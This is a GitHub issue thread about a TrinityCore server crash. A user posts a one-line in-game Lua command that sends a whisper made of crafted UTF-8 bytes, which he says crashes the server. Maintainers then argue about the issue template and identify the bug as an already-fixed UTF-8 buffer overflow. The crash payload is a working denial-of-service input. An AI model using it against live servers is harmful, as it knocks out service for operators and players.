Trinitycore: Server crash script

[Icedsebo]

/run SendChatMessage("WOW", "WHISPER", nil, "\240\146\140\165\240\146\145\163\240\146\145\169\240\147\139\141\240\147\139\136\240\147\137\161\240\146\140\165\240\146\145\163\240\146\145\169\240\147\139\141\240\147\139\136\240\147\137\161")

Will crash the server.

[MaxtorCoder]

Follow the issue template.

[Icedsebo]

Too complicated, typing in this script in chat will result in a crash, not rocket science and what other details would i need to offer?!

[MaxtorCoder]

Read the template and follow it. It's not that hard.

[MaxtorCoder]

Not gonna go into a discussion with you.

[Icedsebo]

I see you argue with me for the sake of it. I don't care to waste anymore time reading anything else, i have nothing to gain, fix or no fix. Havefun wasting time arguing on forums for the sake of useless arguments.

[MaxtorCoder]

Just follow the goddamn template and it's fine.

[jackpoz]

did you check our Security Advisories ? we warned about this issue (and fixed it) in July https://github.com/TrinityCore/TrinityCore/security/advisories (if it's the same issue)

[Shauren]

Thats not the one @jackpoz, this is probably the utf8 conversions buffer overflows (that we also fixed)

[illfated]

@Icedsebo : The TrinityCore repository used to have an active Github bot to comment and tag any new issue ticket without a valid revision commit hash (from the TC repository). If you had filled in the template with at least that information, and done so truthfully, we would be able to see if your core revision hash differs from a straight, unmodified TC core or if it is one of the old releases from before this issue was fixed.

[Hamarz]

use the nastychar check on the user who's receiving the message as it appear to hold the malicious text.